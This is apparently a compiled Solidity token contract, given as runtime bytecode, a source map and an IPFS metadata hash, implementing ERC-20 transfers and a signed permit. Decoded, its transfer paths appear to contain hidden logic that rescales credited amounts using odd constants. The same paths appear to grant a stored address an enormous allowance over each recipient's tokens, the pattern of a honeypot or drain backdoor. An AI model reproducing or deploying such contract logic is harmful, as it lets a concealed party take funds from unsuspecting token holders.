0008152600401610aa29061161d565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b86919061112b565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d28919061163b565b10610d525763caca0dab62c0ffee85610d41919061166e565b610d4b91906116dc565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e58919061166e565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906117a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906117be565b60405160208183030381529060405280519060200120905090565b5f5f905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fcc82610f8a565b610fd68185610f94565b9350610fe6818560208601610fa4565b610fef81610fb2565b840191505092915050565b5f6020820190508181035f8301526110128184610fc2565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110478261101e565b9050919050565b6110578161103d565b8114611061575f5ffd5b50565b5f813590506110728161104e565b92915050565b5f819050919050565b61108a81611078565b8114611094575f5ffd5b50565b5f813590506110a581611081565b92915050565b5f5f604083850312156110c1576110c061101a565b5b5f6110ce85828601611064565b92505060206110df85828601611097565b9150509250929050565b5f8115159050919050565b6110fd816110e9565b82525050565b5f6020820190506111165f8301846110f4565b92915050565b61112581611078565b82525050565b5f60208201905061113e5f83018461111c565b92915050565b5f5f5f6060848603121561115b5761115a61101a565b5b5f61116886828701611064565b935050602061117986828701611064565b925050604061118a86828701611097565b9150509250925092565b5f60ff82169050919050565b6111a981611194565b82525050565b5f6020820190506111c25f8301846111a0565b92915050565b5f819050919050565b6111da816111c8565b82525050565b5f6020820190506111f35f8301846111d1565b92915050565b5f6020828403121561120e5761120d61101a565b5b5f61121b84828501611064565b91505092915050565b61122d81611194565b8114611237575f5ffd5b50565b5f8135905061124881611224565b92915050565b611257816111c8565b8114611261575f5ffd5b50565b5f813590506112728161124e565b92915050565b5f5f5f5f5f5f5f60e0888a0312156112935761129261101a565b5b5f6112a08a828b01611064565b97505060206112b18a828b01611064565b96505060406112c28a828b01611097565b95505060606112d38a828b01611097565b94505060806112e48a828b0161123a565b93505060a06112f58a828b01611264565b92505060c06113068a828b01611264565b91505092959891949750929550565b5f5f6040838503121561132b5761132a61101a565b5b5f61133885828601611064565b925050602061134985828601611064565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061139757607f821691505b6020821081036113aa576113a9611353565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113e782611078565b91506113f283611078565b925082820390508181111561140a576114096113b0565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f611444601783610f94565b915061144f82611410565b602082019050919050565b5f6020820190508181035f83015261147181611438565b9050919050565b6114818161103d565b82525050565b5f60c08201905061149a5f8301896111d1565b6114a76020830188611478565b6114b46040830187611478565b6114c1606083018661111c565b6114ce608083018561111c565b6114db60a083018461111c565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115246002836114e6565b915061152f826114f0565b600282019050919050565b5f819050919050565b61155461154f826111c8565b61153a565b82525050565b5f61156482611518565b91506115708285611543565b6020820191506115808284611543565b6020820191508190509392505050565b5f6080820190506115a35f8301876111d1565b6115b060208301866111a0565b6115bd60408301856111d1565b6115ca60608301846111d1565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611607600e83610f94565b9150611612826115d3565b602082019050919050565b5f6020820190508181035f830152611634816115fb565b9050919050565b5f61164582611078565b915061165083611078565b9250828201905080821115611668576116676113b0565b5b92915050565b5f61167882611078565b915061168383611078565b925082820261169181611078565b915082820484148315176116a8576116a76113b0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116e682611078565b91506116f183611078565b925082611701576117006116af565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461173481611380565b61173e818661170c565b9450600182165f8114611758576001811461176d5761179f565b60ff198316865281151582028601935061179f565b61177685611716565b5f5b8381101561179757815481890152600182019150602081019050611778565b838801955050505b50505092915050565b5f6117b38284611728565b915081905092915050565b5f60a0820190506117d15f8301886111d1565b6117de60208301876111d1565b6117eb60408301866111d1565b6117f8606083018561111c565b6118056080830184611478565b969550505050505056fea26469706673582212202bbad78a39c5ea3260312f07a5be42bd53c45b3a71e787a061cc9ee7bd0099b464736f6c634300081c0033

9181:152:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2230:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3734:217;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2513:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4391:641;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2286:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6762:179;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2548:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3001:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2257:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3959:424;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5227:1527;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2601:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2230:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3734:217::-;3808:4;3858:6;3825:9;:21;3835:10;3825:21;;;;;;;;;;;;;;;:30;3847:7;3825:30;;;;;;;;;;;;;;;:39;;;;3903:7;3882:37;;3891:10;3882:37;;;3912:6;3882:37;;;;;;:::i;:::-;;;;;;;;3939:4;3932:11;;3734:217;;;;:::o;2513:26::-;;;;:::o;4391:641::-;4513:4;4530:15;4548:9;:15;4558:4;4548:15;;;;;;;;;;;;;;;:27;4564:10;4548:27;;;;;;;;;;;;;;;;4530:45;;4639:17;4628:7;:28;4624:80;;4698:6;4688:7;:16;;;;:::i;:::-;4658:9;:15;4668:4;4658:15;;;;;;;;;;;;;;;:27;4674:10;4658:27;;;;;;;;;;;;;;;:46;;;;4624:80;4736:6;4717:9;:15;4727:4;4717:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4910:19;4912:6;4920:4;4926:2;4910:1;:19::i;:::-;4893:9;:13;4903:2;4893:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;4951:7;4955:2;4951:3;:7::i;:::-;4989:2;4974:26;;4983:4;4974:26;;;4993:6;4974:26;;;;;;:::i;:::-;;;;;;;;5020:4;5013:11;;;4391:641;;;;;:::o;2286:31::-;;;:::o;6762:179::-;6819:7;6863:16;6846:13;:33;:87;;6909:24;:22;:24::i;:::-;6846:87;;;6882:24;6846:87;6839:94;;6762:179;:::o;2548:44::-;;;;;;;;;;;;;;;;;:::o;3001:41::-;;;;;;;;;;;;;;;;;:::o;2257:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3959:424::-;4029:4;4071:6;4046:9;:21;4056:10;4046:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;4245:25;4247:6;4255:10;4267:2;4245:1;:25::i;:::-;4228:9;:13;4238:2;4228:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;4294:7;4298:2;4294:3;:7::i;:::-;4340:2;4319:32;;4328:10;4319:32;;;4344:6;4319:32;;;;;;:::i;:::-;;;;;;;;4371:4;4364:11;;3959:424;;;;:::o;5227:1527::-;5455:15;5443:8;:27;;5435:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;5668:24;5695:827;5835:18;:16;:18::i;:::-;5965:167;6167:5;6207:7;6249:5;6289:6;:13;6296:5;6289:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;6339:8;5920:458;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5880:525;;;;;;5755:673;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5723:724;;;;;;6466:1;6486;6506;5695:827;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5668:854;;6575:1;6547:30;;:16;:30;;;;:59;;;;;6601:5;6581:25;;:16;:25;;;6547:59;6539:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;6681:5;6642:9;:27;6652:16;6642:27;;;;;;;;;;;;;;;:36;6670:7;6642:36;;;;;;;;;;;;;;;:44;;;;5643:1055;6731:7;6715:31;;6724:5;6715:31;;;6740:5;6715:31;;;;;;:::i;:::-;;;;;;;;5227:1527;;;;;;;:::o;2601:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7414:515::-;7535:15;7600:4;7571:33;;:25;:23;:25::i;:::-;:33;;;7567:355;;7635:5;7625:15;;7567:355;;;7752:4;7728:31;;7707:9;:13;7717:2;;;;;;;;;;;7707:13;;;;;;;;;;;;;;;:17;7721:2;7707:17;;;;;;;;;;;;;;;;7685:9;:13;7695:2;;;;;;;;;;;7685:13;;;;;;;;;;;;;;;:19;7699:4;7685:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;7681:226;;7813:10;7802:8;7794:5;:16;;;;:::i;:::-;:29;;;;:::i;:::-;7784:39;;7681:226;;;7882:5;7872:15;;7681:226;7567:355;7414:515;;;;;:::o;7937:142::-;8013:2;;;;;;;;;;;7997:20;;7976:9;:13;7986:2;;;;;;;;;;;7976:13;;;;;;;;;;;;;;;:17;7990:2;7976:17;;;;;;;;;;;;;;;;:41;7972:106;;8069:4;8045:31;;8041:1;:35;;;;:::i;:::-;8021:9;:13;8031:2;;;;;;;;;;;8021:13;;;;;;;;;;;;;;;:17;8035:2;8021:17;;;;;;;;;;;;;;;:55;;;;7972:106;7937:142;:::o;6949:457::-;7014:7;7115:95;7249:4;7233:22;;;;;;:::i;:::-;;;;;;;;7278:14;7315:13;7359:4;7082:301;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;7054:344;;;;;;7034:364;;6949:457;:::o;8087:113::-;8144:16;8187:5;8173:19;;8087:113;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:77::-;4783:7;4812:5;4801:16;;4746:77;;;:::o;4829:118::-;4916:24;4934:5;4916:24;:::i;:::-;4911:3;4904:37;4829:118;;:::o;4953:222::-;5046:4;5084:2;5073:9;5069:18;5061:26;;5097:71;5165:1;5154:9;5150:17;5141:6;5097:71;:::i;:::-;4953:222;;;;:::o;5181:329::-;5240:6;5289:2;5277:9;5268:7;5264:23;5260:32;5257:119;;;5295:79;;:::i;:::-;5257:119;5415:1;5440:53;5485:7;5476:6;5465:9;5461:22;5440:53;:::i;:::-;5430:63;;5386:117;5181:329;;;;:::o;5516:118::-;5587:22;5603:5;5587:22;:::i;:::-;5580:5;5577:33;5567:61;;5624:1;5621;5614:12;5567:61;5516:118;:::o;5640:135::-;5684:5;5722:6;5709:20;5700:29;;5738:31;5763:5;5738:31;:::i;:::-;5640:135;;;;:::o;5781:122::-;5854:24;5872:5;5854:24;:::i;:::-;5847:5;5844:35;5834:63;;5893:1;5890;5883:12;5834:63;5781:122;:::o;5909:139::-;5955:5;5993:6;5980:20;5971:29;;6009:33;6036:5;6009:33;:::i;:::-;5909:139;;;;:::o;6054:1199::-;6165:6;6173;6181;6189;6197;6205;6213;6262:3;6250:9;6241:7;6237:23;6233:33;6230:120;;;6269:79;;:::i;:::-;6230:120;6389:1;6414:53;6459:7;6450:6;6439:9;6435:22;6414:53;:::i;:::-;6404:63;;6360:117;6516:2;6542:53;6587:7;6578:6;6567:9;6563:22;6542:53;:::i;:::-;6532:63;;6487:118;6644:2;6670:53;6715:7;6706:6;6695:9;6691:22;6670:53;:::i;:::-;6660:63;;6615:118;6772:2;6798:53;6843:7;6834:6;6823:9;6819:22;6798:53;:::i;:::-;6788:63;;6743:118;6900:3;6927:51;6970:7;6961:6;6950:9;6946:22;6927:51;:::i;:::-;6917:61;;6871:117;7027:3;7054:53;7099:7;7090:6;7079:9;7075:22;7054:53;:::i;:::-;7044:63;;6998:119;7156:3;7183:53;7228:7;7219:6;7208:9;7204:22;7183:53;:::i;:::-;7173:63;;7127:119;6054:1199;;;;;;;;;;:::o;7259:474::-;7327:6;7335;7384:2;7372:9;7363:7;7359:23;7355:32;7352:119;;;7390:79;;:::i;:::-;7352:119;7510:1;7535:53;7580:7;7571:6;7560:9;7556:22;7535:53;:::i;:::-;7525:63;;7481:117;7637:2;7663:53;7708:7;7699:6;7688:9;7684:22;7663:53;:::i;:::-;7653:63;;7608:118;7259:474;;;;;:::o;7739:180::-;7787:77;7784:1;7777:88;7884:4;7881:1;7874:15;7908:4;7905:1;7898:15;7925:320;7969:6;8006:1;8000:4;7996:12;7986:22;;8053:1;8047:4;8043:12;8074:18;8064:81;;8130:4;8122:6;8118:17;8108:27;;8064:81;8192:2;8184:6;8181:14;8161:18;8158:38;8155:84;;8211:18;;:::i;:::-;8155:84;7976:269;7925:320;;;:::o;8251:180::-;8299:77;8296:1;8289:88;8396:4;8393:1;8386:15;8420:4;8417:1;8410:15;8437:194;8477:4;8497:20;8515:1;8497:20;:::i;:::-;8492:25;;8531:20;8549:1;8531:20;:::i;:::-;8526:25;;8575:1;8572;8568:9;8560:17;;8599:1;8593:4;8590:11;8587:37;;;8604:18;;:::i;:::-;8587:37;8437:194;;;;:::o;8637:173::-;8777:25;8773:1;8765:6;8761:14;8754:49;8637:173;:::o;8816:366::-;8958:3;8979:67;9043:2;9038:3;8979:67;:::i;:::-;8972:74;;9055:93;9144:3;9055:93;:::i;:::-;9173:2;9168:3;9164:12;9157:19;;8816:366;;;:::o;9188:419::-;9354:4;9392:2;9381:9;9377:18;9369:26;;9441:9;9435:4;9431:20;9427:1;9416:9;9412:17;9405:47;9469:131;9595:4;9469:131;:::i;:::-;9461:139;;9188:419;;;:::o;9613:118::-;9700:24;9718:5;9700:24;:::i;:::-;9695:3;9688:37;9613:118;;:::o;9737:775::-;9970:4;10008:3;9997:9;9993:19;9985:27;;10022:71;10090:1;10079:9;10075:17;10066:6;10022:71;:::i;:::-;10103:72;10171:2;10160:9;10156:18;10147:6;10103:72;:::i;:::-;10185;10253:2;10242:9;10238:18;10229:6;10185:72;:::i;:::-;10267;10335:2;10324:9;10320:18;10311:6;10267:72;:::i;:::-;10349:73;10417:3;10406:9;10402:19;10393:6;10349:73;:::i;:::-;10432;10500:3;10489:9;10485:19;10476:6;10432:73;:::i;:::-;9737:775;;;;;;;;;:::o;10518:148::-;10620:11;10657:3;10642:18;;10518:148;;;;:::o;10672:214::-;10812:66;10808:1;10800:6;10796:14;10789:90;10672:214;:::o;10892:400::-;11052:3;11073:84;11155:1;11150:3;11073:84;:::i;:::-;11066:91;;11166:93;11255:3;11166:93;:::i;:::-;11284:1;11279:3;11275:11;11268:18;;10892:400;;;:::o;11298:79::-;11337:7;11366:5;11355:16;;11298:79;;;:::o;11383:157::-;11488:45;11508:24;11526:5;11508:24;:::i;:::-;11488:45;:::i;:::-;11483:3;11476:58;11383:157;;:::o;11546:663::-;11787:3;11809:148;11953:3;11809:148;:::i;:::-;11802:155;;11967:75;12038:3;12029:6;11967:75;:::i;:::-;12067:2;12062:3;12058:12;12051:19;;12080:75;12151:3;12142:6;12080:75;:::i;:::-;12180:2;12175:3;12171:12;12164:19;;12200:3;12193:10;;11546:663;;;;;:::o;12215:545::-;12388:4;12426:3;12415:9;12411:19;12403:27;;12440:71;12508:1;12497:9;12493:17;12484:6;12440:71;:::i;:::-;12521:68;12585:2;12574:9;12570:18;12561:6;12521:68;:::i;:::-;12599:72;12667:2;12656:9;12652:18;12643:6;12599:72;:::i;:::-;12681;12749:2;12738:9;12734:18;12725:6;12681:72;:::i;:::-;12215:545;;;;;;;:::o;12766:164::-;12906:16;12902:1;12894:6;12890:14;12883:40;12766:164;:::o;12936:366::-;13078:3;13099:67;13163:2;13158:3;13099:67;:::i;:::-;13092:74;;13175:93;13264:3;13175:93;:::i;:::-;13293:2;13288:3;13284:12;13277:19;;12936:366;;;:::o;13308:419::-;13474:4;13512:2;13501:9;13497:18;13489:26;;13561:9;13555:4;13551:20;13547:1;13536:9;13532:17;13525:47;13589:131;13715:4;13589:131;:::i;:::-;13581:139;;13308:419;;;:::o;13733:191::-;13773:3;13792:20;13810:1;13792:20;:::i;:::-;13787:25;;13826:20;13844:1;13826:20;:::i;:::-;13821:25;;13869:1;13866;13862:9;13855:16;;13890:3;13887:1;13884:10;13881:36;;;13897:18;;:::i;:::-;13881:36;13733:191;;;;:::o;13930:410::-;13970:7;13993:20;14011:1;13993:20;:::i;:::-;13988:25;;14027:20;14045:1;14027:20;:::i;:::-;14022:25;;14082:1;14079;14075:9;14104:30;14122:11;14104:30;:::i;:::-;14093:41;;14283:1;14274:7;14270:15;14267:1;14264:22;14244:1;14237:9;14217:83;14194:139;;14313:18;;:::i;:::-;14194:139;13978:362;13930:410;;;;:::o;14346:180::-;14394:77;14391:1;14384:88;14491:4;14488:1;14481:15;14515:4;14512:1;14505:15;14532:185;14572:1;14589:20;14607:1;14589:20;:::i;:::-;14584:25;;14623:20;14641:1;14623:20;:::i;:::-;14618:25;;14662:1;14652:35;;14667:18;;:::i;:::-;14652:35;14709:1;14706;14702:9;14697:14;;14532:185;;;;:::o;14723:147::-;14824:11;14861:3;14846:18;;14723:147;;;;:::o;14876:144::-;14928:4;14951:3;14943:11;;14974:3;14971:1;14964:14;15008:4;15005:1;14995:18;14987:26;;14876:144;;;:::o;15048:878::-;15153:3;15190:5;15184:12;15219:36;15245:9;15219:36;:::i;:::-;15271:88;15352:6;15347:3;15271:88;:::i;:::-;15264:95;;15390:1;15379:9;15375:17;15406:1;15401:166;;;;15581:1;15576:344;;;;15368:552;;15401:166;15485:4;15481:9;15470;15466:25;15461:3;15454:38;15547:6;15540:14;15533:22;15525:6;15521:35;15516:3;15512:45;15505:52;;15401:166;;15576:344;15643:41;15678:5;15643:41;:::i;:::-;15706:1;15720:154;15734:6;15731:1;15728:13;15720:154;;;15808:7;15802:14;15798:1;15793:3;15789:11;15782:35;15858:1;15849:7;15845:15;15834:26;;15756:4;15753:1;15749:12;15744:17;;15720:154;;;15903:6;15898:3;15894:16;15887:23;;15583:337;;15368:552;;15157:769;;15048:878;;;;:::o;15932:273::-;16063:3;16085:94;16175:3;16166:6;16085:94;:::i;:::-;16078:101;;16196:3;16189:10;;15932:273;;;;:::o;16211:664::-;16416:4;16454:3;16443:9;16439:19;16431:27;;16468:71;16536:1;16525:9;16521:17;16512:6;16468:71;:::i;:::-;16549:72;16617:2;16606:9;16602:18;16593:6;16549:72;:::i;:::-;16631;16699:2;16688:9;16684:18;16675:6;16631:72;:::i;:::-;16713;16781:2;16770:9;16766:18;16757:6;16713:72;:::i;:::-;16795:73;16863:3;16852:9;16848:19;16839:6;16795:73;:::i;:::-;16211:664;;;;;;;;:::o

ipfs://2bbad78a39c5ea3260312f07a5be42bd53c45b3a71e787a061cc9ee7bd0099b4